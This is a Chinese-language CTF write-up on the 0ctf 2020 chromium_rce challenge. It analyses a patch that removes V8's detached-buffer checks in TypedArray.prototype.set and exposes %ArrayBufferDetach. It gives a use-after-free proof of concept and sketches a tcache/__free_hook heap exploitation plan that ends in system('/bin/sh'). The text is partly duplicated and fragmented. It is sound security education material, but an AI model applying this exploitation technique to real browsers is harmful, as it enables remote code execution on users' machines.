-
-
[原创][原创]沙箱逃逸之0ctf2020 chromium_rce writeup
-
发表于: 2023-1-29 21:23 19507
-
0ctf 2020
上的题目,总共三题。这是第一题,要做的是对patch
的v8
进行利用;第二题是在chrome
中开启了Mojo
,要实现chrome sbx
逃逸;第三题是二者的结合,要求先用v8
的开启Mojo
,然后再沙箱逃逸,实现chrome fullchain
的利用。
这是第一题对于v8
漏洞的wp
,题目附件内容给的很简单,就三个。一个patch
文件,一个d8
及它运行的快照。
为了方便调试,先编译对应版本的v8
:
要想搞清楚漏洞,先要知道TypedArray.prototype.set
函数的功能以及实现。
参考TypedArray.prototype.set,知道set()
方法用于从指定数组中读取值,并将其存储在类型化数组中。使用的语法如下所示:
第一个参数array
是拷贝数据的源数组,源数组的所有值都会被复制到目标数组中,除非源数组的长度加上偏移量超过目标数组的长度,而在这种情况下会抛出异常;第二个参数偏移量参数offset
指定从什么地方开始使用源数组 array
的值进行写入操作。如果忽略该参数,则默认为0
。
示例如下所示,简单来说就是从参数中的数组拷贝对应的数据并保存到目的数组当中。
再来看ecma
标准中对于TypedArray.prototype.set函数实现的规定,如下所示。
可以看到会对源数组和目的数据的长度进行检查后,调用SetTypedArrayFromArrayLike
函数,该函数部分定义如下。
很关键的一点是会在该函数中调用IsDetachedBuffer
来检查源数组以及目的数组存放数据的空间是否已经被释放,如果被释放则抛出异常。如果这两个空间都没被释放,说明内存空间可用,可以正常拷贝;如果某个内存空间被释放的话,如果仍然正常使用,则形成了UAF
漏洞。
题目对v8
的patch
关键有两部分,第一部分是对TypedArrayPrototypeSet
函数的patch
,可以看到它把对于源数组以及目标数组存放数据空间内存的检查给patch
掉了。
EnsureAttached
代码如下所示,很直观的可以看到,代码的patch
将IsDetachedBuffer(array.buffer)
的判断给去掉了,而是直接将内存指针进行转换。即如果我们释放了array.buffer
,代码仍然会正常调用set
函数。
第二个关键的patch
,则是对于本应该是给定--allow-native-syntax
参数才可以调用的函数的处理。当解析代码遇到Token::MOD
(%
)的时候,本来会判断flags().allow_natives_syntax()
是否开启,开启的话再调用ParseV8Intrinsic
函数。patch
过后,将flags().allow_natives_syntax()
的判断去掉了,直接调用ParseV8Intrinsic
函数,这也就意味着可以直接调用v8
的内部函数,而不需要--allow-native-syntax
参数。
另一部分patch
则是加入了function->function_id != Runtime::kArrayBufferDetach
的判断,即当调用ParseV8Intrinsic
函数的时候,如果函数的id
不是kArrayBufferDetach
的话,就不进行调用。
上面两个结合起来的内容就是,允许不使用--allow-native-syntax
参数就直接使用内部函数,但内部函数限制为%ArrayBufferDetach
的调用,像%DebugPrint
这些函数就不能再进行使用了。
经过了上面的分析,漏洞原理就很简单了。即我们可以直接使用%ArrayBufferDetach
函数来释放TypedArray
的数据内存,在释放后仍然可以调用TypedArray.prototype.set
函数来操作该内存,从而形成了UAF
漏洞。
poc
的构造比较简单:
d8
使用的是glibc
来进行内存分配,所以这题可以简化成堆的菜单题。
这里需要注意一点的是正常以new Uint8Array(0x200);
这种形式来分配内存的时候,会调用calloc
来分配内存,它是不会用tcache
来分配的。分配的函数调用栈如下所示:
使用如下形式却是可以触发malloc
的。
函数调用栈如下所示:
对应到v8
中的代码如下所示,当触发malloc
的时候,走的是AllocateUninitialized
分支;调用calloc
的时候,走的是Allocate
分支。
有了上面的解释,下面我们来构造菜单题所对应的原语,如下所示:
利用的思路是:
先申请大的堆块,然后释放进unsorted bin
,利用uaf
漏洞泄露出libc
地址。
申请小堆块,然后释放进tcache
,然后利用uaf
漏洞修改tcache
的指针指向free hook
。
修改free hook
的内容为system
地址,释放内容/bin/sh
的堆块,成功get shell
。
要提一句的是调试的时候最好把第二部分的patch
即function->function_id != Runtime::kArrayBufferDetach
对内置函数判断的检查给去掉,这样就可以正常使用其他的内置函数来,不然像%DebugPrint
这些函数用不了的话,还是影响调试的。
第一次体验v8
里面的uaf
漏洞,感觉这种在正常的漏洞里面应该会比较少见,但是也是新颖。也加深了对TypedArray backing_store
指针的理解。
文章首发于奇安信攻防社区
Chromium RCE - v8 exploitation
$ ls
d8 snapshot_blob.
bin
tctf.diff
$ ls
d8 snapshot_blob.
bin
tctf.diff
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git
apply
< ..
/
tctf.diff
tools
/
dev
/
gm.py x64.release
tools
/
dev
/
gm.py x64.debug
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git
apply
< ..
/
tctf.diff
tools
/
dev
/
gm.py x64.release
tools
/
dev
/
gm.py x64.debug
typedarray.
set
(array[, offset])
typedarray.
set
(typedarray[, offset])
typedarray.
set
(array[, offset])
typedarray.
set
(typedarray[, offset])
var
buffer
=
new ArrayBuffer(
8
);
var uint8
=
new Uint8Array(
buffer
);
uint8.
set
([
1
,
2
,
3
],
3
);
console.log(uint8);
/
/
Uint8Array [
0
,
0
,
0
,
1
,
2
,
3
,
0
,
0
]
var
buffer
=
new ArrayBuffer(
8
);
var uint8
=
new Uint8Array(
buffer
);
uint8.
set
([
1
,
2
,
3
],
3
);
console.log(uint8);
/
/
Uint8Array [
0
,
0
,
0
,
1
,
2
,
3
,
0
,
0
]
diff
-
-
git a
/
src
/
builtins
/
typed
-
array
-
set
.tq b
/
src
/
builtins
/
typed
-
array
-
set
.tq
index b5c9dcb261..babe7da3f0
100644
-
-
-
a
/
src
/
builtins
/
typed
-
array
-
set
.tq
+
+
+
b
/
src
/
builtins
/
typed
-
array
-
set
.tq
@@
-
70
,
7
+
70
,
7
@@ TypedArrayPrototypeSet(
/
/
7.
Let targetBuffer be target.[[ViewedArrayBuffer]].
/
/
8.
If IsDetachedBuffer(targetBuffer)
is
true, throw a TypeError
/
/
exception.
-
const utarget
=
typed_array::EnsureAttached(target) otherwise IsDetached;
+
const utarget
=
%
RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg
=
arguments[
0
];
try
{
@@
-
86
,
8
+
86
,
7
@@ TypedArrayPrototypeSet(
/
/
10.
Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
/
/
11.
If IsDetachedBuffer(srcBuffer)
is
true, throw a TypeError
/
/
exception.
-
const utypedArray
=
-
typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+
const utypedArray
=
%
RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff
-
-
git a
/
src
/
builtins
/
typed
-
array
-
set
.tq b
/
src
/
builtins
/
typed
-
array
-
set
.tq
index b5c9dcb261..babe7da3f0
100644
-
-
-
a
/
src
/
builtins
/
typed
-
array
-
set
.tq
+
+
+
b
/
src
/
builtins
/
typed
-
array
-
set
.tq
@@
-
70
,
7
+
70
,
7
@@ TypedArrayPrototypeSet(
/
/
7.
Let targetBuffer be target.[[ViewedArrayBuffer]].
/
/
8.
If IsDetachedBuffer(targetBuffer)
is
true, throw a TypeError
/
/
exception.
-
const utarget
=
typed_array::EnsureAttached(target) otherwise IsDetached;
+
const utarget
=
%
RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg
=
arguments[
0
];
try
{
@@
-
86
,
8
+
86
,
7
@@ TypedArrayPrototypeSet(
/
/
10.
Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
/
/
11.
If IsDetachedBuffer(srcBuffer)
is
true, throw a TypeError
/
/
exception.
-
const utypedArray
=
-
typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+
const utypedArray
=
%
RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
/
/
builtins
/
typed
-
array.tq:
168
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
labels Detached {
if
(IsDetachedBuffer(array.
buffer
)) goto Detached;
return
%
RawDownCast<AttachedJSTypedArray>(array);
}
/
/
builtins
/
typed
-
array.tq:
168
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
labels Detached {
if
(IsDetachedBuffer(array.
buffer
)) goto Detached;
return
%
RawDownCast<AttachedJSTypedArray>(array);
}
-
-
-
a
/
src
/
parsing
/
parser
-
base.h
+
+
+
b
/
src
/
parsing
/
parser
-
base.h
@@
-
1907
,
10
+
1907
,
8
@@ ParserBase<Impl>::ParsePrimaryExpression() {
return
ParseTemplateLiteral(impl()
-
>NullExpression(), beg_pos, false);
case Token::MOD:
-
if
(flags().allow_natives_syntax() || extension_ !
=
nullptr) {
-
return
ParseV8Intrinsic();
-
}
-
break
;
+
/
/
Directly call
%
ArrayBufferDetach without `
-
-
allow
-
native
-
syntax` flag
+
return
ParseV8Intrinsic();
default:
break
;
diff
-
-
git a
/
src
/
parsing
/
parser.cc b
/
src
/
parsing
/
parser.cc
index
9577b37397
..
2206d250d7
100644
-
-
-
a
/
src
/
parsing
/
parser.cc
+
+
+
b
/
src
/
parsing
/
parser.cc
@@
-
357
,
6
+
357
,
11
@@ Expression
*
Parser::NewV8Intrinsic(const AstRawString
*
name,
const Runtime::Function
*
function
=
Runtime::FunctionForName(name
-
>raw_data(), name
-
>length());
+
/
/
Only
%
ArrayBufferDetach allowed
+
if
(function
-
>function_id !
=
Runtime::kArrayBufferDetach) {
+
return
factory()
-
>NewUndefinedLiteral(kNoSourcePosition);
+
}
+
/
/
Be more permissive when fuzzing. Intrinsics are
not
supported.
if
(FLAG_fuzzing) {
return
NewV8RuntimeFunctionForFuzzing(function, args, pos);
-
-
-
a
/
src
/
parsing
/
parser
-
base.h
+
+
+
b
/
src
/
parsing
/
parser
-
base.h
@@
-
1907
,
10
+
1907
,
8
@@ ParserBase<Impl>::ParsePrimaryExpression() {
return
ParseTemplateLiteral(impl()
-
>NullExpression(), beg_pos, false);
case Token::MOD:
-
if
(flags().allow_natives_syntax() || extension_ !
=
nullptr) {
-
return
ParseV8Intrinsic();
-
}
-
break
;
+
/
/
Directly call
%
ArrayBufferDetach without `
-
-
allow
-
native
-
syntax` flag
+
return
ParseV8Intrinsic();
default:
break
;
diff
-
-
git a
/
src
/
parsing
/
parser.cc b
/
src
/
parsing
/
parser.cc
index
9577b37397
..
2206d250d7
100644
-
-
-
a
/
src
/
parsing
/
parser.cc
+
+
+
b
/
src
/
parsing
/
parser.cc
@@
-
357
,
6
+
357
,
11
@@ Expression
*
Parser::NewV8Intrinsic(const AstRawString
*
name,
const Runtime::Function
*
function
=
Runtime::FunctionForName(name
-
>raw_data(), name
-
>length());
+
/
/
Only
%
ArrayBufferDetach allowed
+
if
(function
-
>function_id !
=
Runtime::kArrayBufferDetach) {
+
return
factory()
-
>NewUndefinedLiteral(kNoSourcePosition);
+
}
+
/
/
Be more permissive when fuzzing. Intrinsics are
not
supported.
if
(FLAG_fuzzing) {
return
NewV8RuntimeFunctionForFuzzing(function, args, pos);
let a
=
new Uint8Array(
0x200
);
let b
=
new Uint8Array(
0x200
);
%
ArrayBufferDetach(a.
buffer
);
/
/
into tcache
a.
set
(b)
/
/
overwrite a's fd, write to freed mem
b.
set
(a)
/
/
read
from
freed mem
let a
=
new Uint8Array(
0x200
);
let b
=
new Uint8Array(
0x200
);
%
ArrayBufferDetach(a.
buffer
);
/
/
into tcache
a.
set
(b)
/
/
overwrite a's fd, write to freed mem
b.
set
(a)
/
/
read
from
freed mem
#0 __libc_calloc (n=0x600, elem_size=0x1) at malloc.c:3366
#1 0x00007f3b7fbd411c in v8::(anonymous namespace)::ArrayBufferAllocator::Allocate (this=0x5600e01d5af0, length=0x600) at ../../src/api/api.cc:546
#2 0x00005600e013ba6f in v8::(anonymous namespace)::ArrayBufferAllocatorBase::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:120
#3 0x00005600e013b8ec in v8::(anonymous namespace)::ShellArrayBufferAllocator::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:141
#4 0x00007f3b8034cfa1 in v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0::operator()(unsigned long) const (this=0x7fff5cf94228, byte_length=0x600) at ../../src/objects/backing-store.cc:238
#5 0x00007f3b8034cf22 in std::__Cr::__invoke<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long> (__f=..., __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/type_traits:3529
#6 0x00007f3b8034cee2 in std::__Cr::__invoke_void_return_wrapper<void*>::__call<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long>(v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long&&) (__args=@0x7fff5cf940a0: 0x600, __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/__functional_base:317
#7 0x00007f3b8034cea0 in std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)>::operator()(unsigned long&&) (this=0x7fff5cf94228, __arg=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:1590
#8 0x00007f3b8034ce66 in std::__Cr::__function::__policy_invoker<void* (unsigned long)>::__call_impl<std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)> >(std::__Cr::__function::__policy_storage const*, unsigned long) (__buf=0x7fff5cf94228, __args=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2071
#9 0x00007f3b800c810e in std::__Cr::__function::__policy_func<void* (unsigned long)>::operator()(unsigned long&&) const (this=0x7fff5cf94228, __args=@0x7fff5cf94100: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2203
#10 0x00007f3b800999b0 in std::__Cr::function<void* (unsigned long)>::operator()(unsigned long) const (this=0x7fff5cf94228, __arg=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2473
#11 0x00007f3b80082dc0 in v8::internal::Heap::AllocateExternalBackingStore(std::__Cr::function<void* (unsigned long)> const&, unsigned long) (this=0x2c4a000097b0, allocate=..., byte_length=0x600) at ../../src/heap/heap.cc:2908
#12 0x00007f3b8034a1e6 in v8::internal::BackingStore::Allocate (isolate=0x2c4a00000000, byte_length=0x600, shared=v8::internal::SharedFlag::kNotShared, initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/objects/backing-store.cc:252
#13 0x00007f3b7fd00277 in v8::internal::(anonymous namespace)::ConstructBuffer (isolate=0x2c4a00000000, target=..., new_target=..., length=..., initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/builtins/builtins-arraybuffer.cc:56
#14 0x00007f3b7fcfde82 in v8::internal::Builtin_Impl_ArrayBufferConstructor (args=..., isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:92
#15 0x00007f3b7fcfd69e in v8::internal::Builtin_ArrayBufferConstructor (args_length=0x6, args_object=0x7fff5cf946f8, isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:70
#16 0x00007f3b7f75563f in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#17 0x00007f3b7f51e265 in Builtins_JSBuiltinsConstructStub () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#18 0x00002c4a08246ac9 in ?? ()
#19 0x00002c4a08246ac9 in ?? ()
#20 0x000000000000000c in ?? ()
#21 0x00002c4a08040385 in ?? ()
#22 0x0000000000000c00 in ?? ()
#23 0x00002c4a08040385 in ?? ()
#24 0x0000000000000002 in ?? ()
#25 0x00002c4a08240229 in ?? ()
#26 0x0000000000000024 in ?? ()
#27 0x00007fff5cf947a8 in ?? ()
#28 0x00007f3b7f96b1d8 in Builtins_CreateTypedArray () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#0 __libc_calloc (n=0x600, elem_size=0x1) at malloc.c:3366
#1 0x00007f3b7fbd411c in v8::(anonymous namespace)::ArrayBufferAllocator::Allocate (this=0x5600e01d5af0, length=0x600) at ../../src/api/api.cc:546
#2 0x00005600e013ba6f in v8::(anonymous namespace)::ArrayBufferAllocatorBase::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:120
#3 0x00005600e013b8ec in v8::(anonymous namespace)::ShellArrayBufferAllocator::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:141
#4 0x00007f3b8034cfa1 in v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0::operator()(unsigned long) const (this=0x7fff5cf94228, byte_length=0x600) at ../../src/objects/backing-store.cc:238
#5 0x00007f3b8034cf22 in std::__Cr::__invoke<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long> (__f=..., __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/type_traits:3529
#6 0x00007f3b8034cee2 in std::__Cr::__invoke_void_return_wrapper<void*>::__call<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long>(v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long&&) (__args=@0x7fff5cf940a0: 0x600, __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/__functional_base:317
#7 0x00007f3b8034cea0 in std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)>::operator()(unsigned long&&) (this=0x7fff5cf94228, __arg=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:1590
#8 0x00007f3b8034ce66 in std::__Cr::__function::__policy_invoker<void* (unsigned long)>::__call_impl<std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)> >(std::__Cr::__function::__policy_storage const*, unsigned long) (__buf=0x7fff5cf94228, __args=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2071
#9 0x00007f3b800c810e in std::__Cr::__function::__policy_func<void* (unsigned long)>::operator()(unsigned long&&) const (this=0x7fff5cf94228, __args=@0x7fff5cf94100: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2203
#10 0x00007f3b800999b0 in std::__Cr::function<void* (unsigned long)>::operator()(unsigned long) const (this=0x7fff5cf94228, __arg=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2473
#11 0x00007f3b80082dc0 in v8::internal::Heap::AllocateExternalBackingStore(std::__Cr::function<void* (unsigned long)> const&, unsigned long) (this=0x2c4a000097b0, allocate=..., byte_length=0x600) at ../../src/heap/heap.cc:2908
#12 0x00007f3b8034a1e6 in v8::internal::BackingStore::Allocate (isolate=0x2c4a00000000, byte_length=0x600, shared=v8::internal::SharedFlag::kNotShared, initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/objects/backing-store.cc:252
#13 0x00007f3b7fd00277 in v8::internal::(anonymous namespace)::ConstructBuffer (isolate=0x2c4a00000000, target=..., new_target=..., length=..., initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/builtins/builtins-arraybuffer.cc:56
#14 0x00007f3b7fcfde82 in v8::internal::Builtin_Impl_ArrayBufferConstructor (args=..., isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:92
#15 0x00007f3b7fcfd69e in v8::internal::Builtin_ArrayBufferConstructor (args_length=0x6, args_object=0x7fff5cf946f8, isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:70
#16 0x00007f3b7f75563f in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#17 0x00007f3b7f51e265 in Builtins_JSBuiltinsConstructStub () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so